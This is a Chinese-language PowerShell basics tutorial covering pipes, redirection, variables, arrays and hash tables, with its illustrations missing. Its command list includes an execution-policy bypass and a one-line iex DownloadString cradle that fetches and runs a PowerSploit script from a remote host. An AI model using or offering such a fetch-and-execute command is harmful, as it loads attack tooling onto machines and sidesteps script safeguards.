windows powershell基礎


windows powershell基礎

目錄:

1.管道和重定向

2.命令執行

3.變量

4.數組和哈希表  #@()創建數組,使用","把每個值分隔開,@{}創建哈希表,用";"把每個值分隔開

5.常用命令

 get-help  查看幫助

 get-command 查詢命令

 get-member  查看對象的成員信息

 get-verb  獲取所有動詞

 get-content 或者type  查看內容

 $psversiontable   查看powershell版本 

 ls env:    查看所有環境變量 

 ls alias:  或者get-alias  查看所有的別名 

 get-executionpolicy  查看腳本執行策略

 set-executionpolicy bypass  設置可以執行腳本

 . ./test1.ps1   把test1.ps1加載到內存  注意兩個點之間有一個空格

 iex(New-Object Net.Webclient).DownloadString('http://10.10.10.132/PowerSploit-master/xx.ps1')    iex遠程下載腳本執行    

 在字符串前面加"&",可以執行命令或者啟動程序 

      

Powershell 是運行在windows機器上實現系統和應用程序管理自動化的命令行腳本環境。你可以把它看成是命令行提示符cmd.exe的擴充

 powershell命令和參數不區分大小寫

1.1管道   #把上一條命令的輸出作為下一條命令的輸入

  

注:通過ls獲取當前目錄的所有文件信息,然后通過sort-object 排序,默認升序

1.2重定向  #把命令的輸出保存到文件中,‘>’為覆蓋,’>>’追加

  

 

注:查看內容可以通過type或者get-content查看

2.Powershell 查看可以執行的cmd命令(cmd /c help )

  

3.1變量

在powershell中變量名均是以美元符”$”開始,剩余字符可以是數字、字母、下划線的任意字符,並且powershell變量名大小寫不敏感($a和$A 是同一個變量)

powershell一切皆對象,變量也是對象,通過$str(變量名) | get-member  查看變量所擁有的屬性以及方法

  

查看正在使用的變量  ls variable: 

3.2環境變量

Powershell把所有環境變量的記錄保存在env: 虛擬驅動中,因此可以列出所有環境變量 。一旦查出環境變量的名字就可以使用$env:name 訪問了。

注:通過查找所有環境變量可以得到計算機名,當前所屬域的域名,用戶名等等

 

通過$env:屬性名訪問  

 4.1數組

  1.命令返回數組   #當我們把一個命令的執行結果保存到一個變量中,可能會認為變量存放的是純文本。
但是,事實上Powershell會把文本按每一行作為元素存為數組

  

  2.創建數組:

  在Powershell中創建數組可以使用逗號,創建空數組使用@()

  

  3.訪問、添加數組:  #添加數組使用"+="

  

4.2哈希表

  1.創建哈希表

   之前使用@()創建數組,現在使用@{}創建哈希表,用";"把每個值分隔開,使用哈希表的鍵訪問對應的值

   

  2.修改、增加、刪除哈希表

   

 

 

------------------------------------------------------------------------------------------------------------------

詳細請參考:powershell在線教程:https://www.pstips.net/powershell-online-tutorials

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM